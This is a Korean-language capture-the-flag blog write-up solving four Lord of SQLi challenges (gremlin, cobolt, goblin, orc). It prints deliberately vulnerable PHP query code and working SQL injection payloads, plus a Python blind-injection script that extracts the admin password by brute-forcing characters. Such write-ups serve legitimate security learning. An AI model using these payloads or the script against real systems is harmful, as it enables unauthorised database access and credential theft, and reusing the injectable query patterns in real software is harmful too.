Webhacking-Write-Up/LOS
[LoS] gremlin, cobolt, goblin, orc
SlowTurtle_
2023. 1. 14. 22:01
728x90
1. gremlin
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
preg_match로 필터링을 하지만 크게 상관이 없었다.
?id=' or 1=1 #
을 넘겨주니?
해결했다.
2. cobolt
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
이번엔 GET방식으로 pw를 입력받은 뒤 md5로 암호화한다. 그러나 문제는 id가 admin이면 해결된다. 따라서 GET 방식으로 id를 admin으로 준 뒤 그 이후를 주석처리하면 된다.
?id=admin%27%20%23
보냈더니?
해결했다.
3. goblin
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
highlight_file(__FILE__);
?>
이번엔 /, "(더블쿼터), '(싱글쿼터)를 필터링에 추가했다. id가 admin이면 해결된다. 따라서 guest를 and no =0으로 무력화 시킨 후 id를 admin으로 출력시키도록 하면 된다.
?no=0%20or%20no=2
보내보니?
해결했다.
4. orc
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
처음에 Hello admin을 출력하는지 확인하기 위해서 ' or 1=1%23을 보내보았다.
맞는 값이 나오면 Hello admin을 출력하고 틀리면 아무것도 출력해주지 않음을 알 수 있었다. 그럼 길이를 확인하기 위해 'or length(pw) > 5%23를 보냈더니 Hello admin이 출력됐고 5대신 10을 넣어보니 아무것도 출력되지 않았다. 이것으로 5<pw의 길이<10 임을 알았다. 그래서 6,7,8 대입해보니
?pw=' or length(pw) = 8%23 을 보냈을 때 Hello admin이 뜬 것을 보니 pw길이는 8글자임을 알 수 있었다.
pw길이가 8임을 알고 pw를 찾기위해 Blind SQL Injection를 하나하나 노가다할 수 없으니 파이썬 스크립트를 작성해보았다.
import requests
length = 8
cookie = {'PHPSESSID':'kag5k98ipur0r6u4rcfo9grojk'}
string = "1234567890abcdefghijklmnopqrstuvwxyz"
pw = ""
for i in range(1,length + 1):
for j in string:
host = f"https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
query = f"?pw='or id='admin' and substr(pw,{i},1)='{j}' %23"
url = host + query
r = requests.get(url = url, cookies = cookie)
if "Hello admin" in r.text:
pw += j
print("password : " + pw)
password : 095a9852
위와 같이 결과가 나왔고 ?pw=095a9852를 넣어주면?
해결했다.
728x90